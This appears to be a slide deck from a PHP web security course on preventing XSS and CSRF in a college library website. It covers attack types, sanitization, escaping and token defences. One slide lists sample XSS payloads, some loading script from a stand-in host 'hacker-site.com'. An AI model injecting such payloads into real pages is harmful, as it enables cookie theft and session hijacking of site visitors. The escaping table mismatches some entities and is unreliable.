Session7-XSS & CSRF

Web Application Security (PHP)
Zakieh Alizadeh
zakiehalizadeh@gmail.com
APA Laboratory – Ferdowsi University of Mashhad

XSS & CSRF
 Scenarios :
 Preventing XSS and CSRF Attacks In College Library Website
Table Of Content
 Introduce XSS attacks
o Strategies for Preventing of XSS
 Introduce CSRF Attacks
o Strategies For Preventing Of CSRF

XSS & CSRF
 Introduce XSS attacks
 Strategies for Preventing of XSS
 Introduce CSRF Attacks
 Strategies For Preventing Of CSRF

XSS
Introuduce Cross-site Scripting (XSS)
 XSS enables attackers to inject client-side script into Web pages viewed
by other users.
 In a typical XSS attack the hacker infects a legitimate web page with his
malicious client-side script. When a user visits this web page the script is
downloaded to his browser and executed.
 Note : Often people refer to Cross Site Scripting as CSS or XSS, which is
can be confused with Cascading Style Sheets (CSS).

XSS
Cross-site Scripting (XSS)
 Cross Site Scripting allows an attacker to embed malicious JavaScript,
VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool
the user, executing the script on his machine in order to gather data. The
use of XSS might
o compromise private information
o manipulate or steal cookies
o create requests that can be mistaken for those of a valid user
o execute malicious code on the end-user systems.

XSS
Type
 There is no single, standardized classification of cross-site scripting flaws,
but most experts distinguish between at least two primary flavors of XSS:
o Non-persistent
o Persistent
o DOM-Based

XSS
Non-persistent
 These holes show up when the data provided by a web client, most
commonly in HTTP query parameters or in HTML form submissions, is
used immediately by server-side scripts to parse and display a page of
results for and to that user, without properly sanitizing the request.

XSS
Persistent
 The persistent (or stored) XSS vulnerability is a more devastating variant
of a cross-site scripting flaw: it occurs when the data provided by the
attacker is saved by the server, and then permanently displayed on
"normal" pages returned to other users in the course of regular browsing,
without proper HTML escaping.

XSS
 DOM-Based XSS Vulnerabilities
 Both reflected and stored XSS vulnerabilities involve a specific pattern of behavior, in
which the application takes user-controllable data and displays this back to users in an
unsafe way. A third category of XSS vulnerabilities does not share this characteristic.
Here, the process by which the attacker’s
 JavaScript gets executed is as follows:
o A user requests a crafted URL supplied by the attacker and containing embedded
JavaScript.
o The server’s response does not contain the attacker’s script in any form.
o When the user’s browser processes this response, the script is executed
nonetheless.

XSS
XSS Pattern
 There are many slight variations to this XSS attack, however all XSS
attacks follow this pattern, which is depicted in the diagram below.

XSS
 Cross-site Scripting (XSS)
 In the pie-chart below, created by the Web Hacking Incident Database for 2011 (WHID)

XSS
Cross-site Scripting (XSS)
 what form does the data come?
Tag Code
<SCRIPT>
<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>
<SCRIPT> alert(“XSS”); </SCRIPT>
<BODY>
<BODY ONLOAD=alert("XSS")>
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG>
<IMG SRC="javascript:alert('XSS');">
<IFRAME> <IFRAME SRC=”http://hacker-site.com/xss.html”>
<INPUT> <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');“>

XSS
 Sanitization
 Sanitization is type of Approaches to Input Handling .
 Sometimes accept data that cannot be guaranteed as safe. Instead of
rejecting this input, the application sanitizes it in various ways to prevent
it from having any adverse effects.
 Potentially malicious characters may be:
o removed from the data altogether
o leaving only what is known to be safe
o suitably encoded or “escaped” before further processing is performed

XSS
Preventing XSS Attacks
 Filtering for XSS
 Escaping from XSS

XSS
 Filtering for XSS
 filter which will remove dangerous keywords, such as the infamous <SCRIPT> tag,
JavaScript commands, CSS styles and other dangerous HTML markup (such as those
that contain event handlers.)
 Many web developers choose to implement their own filtering mechanisms; they
usually write server-side code.(black list)
 hackers usually have more experience than the web developers, and often manage to
circumvent simple filters by using techniques such as hex encoding, unicode character
variations, line breaks and null characters in strings.
 recommended to use some sort of library that has been tried and tested by the
community at large.

XSS
 Filtering for XSS
 PHP boasts a more comprehensive library called HTML Purifier which licensed as Open
Source and can be customised depending on your needs. HTML Purifier also boasts
strict standards compliance and better features than other filters.
 Another interesting library you can use is HTML Markdown which converts text from
your users into standard and clean XHTML. This gives the advantage that minimal
HTML Markup can exist in your user's input (such as bold, underline and colours).
HTML Markdown is a Perl library and does not explicitly advertise XSS prevention
features so it probably should not be your only line of defence.

XSS
Filtering for XSS
 PHP Functions :
o filter_var ()
o strip_tags()
o htmlentities()

XSS
 Escaping from XSS
 This is the primary means to disable an XSS attack. When performing Escaping you are
effectively telling the browser that the data you are sending should be treated as data
and should not be interpreted in any other way.
 Escaping has been used to construct this article. I have managed to bring many scripts
into your browser, but none of these scripts has executed! The technique used to do
that is called, escaping, or as the W3C calls it “Character Escaping”.
 In HTML you can escape dangerous characters by using the &# sequence followed by
the it’s character code.
 An escaped < character looks like this: &#60. The > character is escaped like this: &#62.

XSS
 Sanitization
 Example
o For example, the usual defense against cross-site scripting attacks is
to HTML-encode dangerous characters before these are embedded
into pages of the application
code char
&apos ; “
&amp ; ‘
&lt ; <
& gt ; >

XSS
Escaping from XSS
 PHP Functions :
o Htmlspecialchars()

CSRF
Introduction
 Cross-Site Request Forgery, or CSRF for short is a common and regular
online attack is. CSRF also goes by the acronym XSRF and the phrase Sea-
Surf.
 CSRF attacks include a malicious exploit of a website in which a user will
transmit malicious requests that the target website trusts without the
user’s consent.
 In Cross-Site Scripting (XSS), the attacker exploits the trust a user has for
a website, with CSRF on the other hand, the attacker exploits the trust a
website has against a user’s browser.

CSRF
Introduction
1. You visit 'good site' A, where you log-in and get a cookie to identify your
session.
2. You leave site A, but forget to close your open session.
3. You visit 'bad site' B, where there is a malicious GET request hidden as
an IMG.
4. Now, you are inadvertly executing an acction on site A, using the
credentials from the cookie generated when you visited site A.

CSRF
Prevention Measures That Do NOT Work
 Using a Secret Cookie
 Only Accepting POST Requests
 Multi-Step Transactions
 URL Rewriting

CSRF
Prevention Measure :Token Pattern
 A prevention measure could be the implementation and inclusion of
tokens in a user’s (current) session.
 Tokens are long cryptographic values that are difficult to guess. These will
be generated when a user’s session begins and will be associated with
this particular user’s session.
 This challenge token will be included in each request, which will be used
by the server side to verify the legitimacy of the end-user’s request.

CSRF
 More Recommendation : Synchronizer Token Pattern
 Checking The Referer Header
 Challenge-Response
o CAPTCHA
o Re-Authentication (password)
 Client/User Prevention
o Logoff immediately after using a Web application
o Do not allow your browser to save username/passwords
o Do not use the same browser to access sensitive applications and to surf the Internet freely
(tabbed browsing)

CSRF
 Vulnerable Patterns for CSRF
 Any application that accepts HTTP requests from an authenticated user without having
some control to verify that the HTTP request is unique to the user's session.
 By checking the page rendering we need to see if any unique identifiers are appended to the
links rendered by the application in the user's browser. If there is no unique identifier
relating to each HTTP request to tie a HTTP request to the user, we are vulnerable. Session
ID is not enough, as the session ID shall be sent anyway if a user clicks on a rogue link, as the
user is authenticated already.

Session7-XSS & CSRF

Recomendados

Recomendados

Mais conteúdo relacionado

Mais procurados

Mais procurados (20)

Semelhante a Session7-XSS & CSRF

Semelhante a Session7-XSS & CSRF (20)

Mais de zakieh alizadeh

Mais de zakieh alizadeh (8)

Último

Último (20)

Session7-XSS & CSRF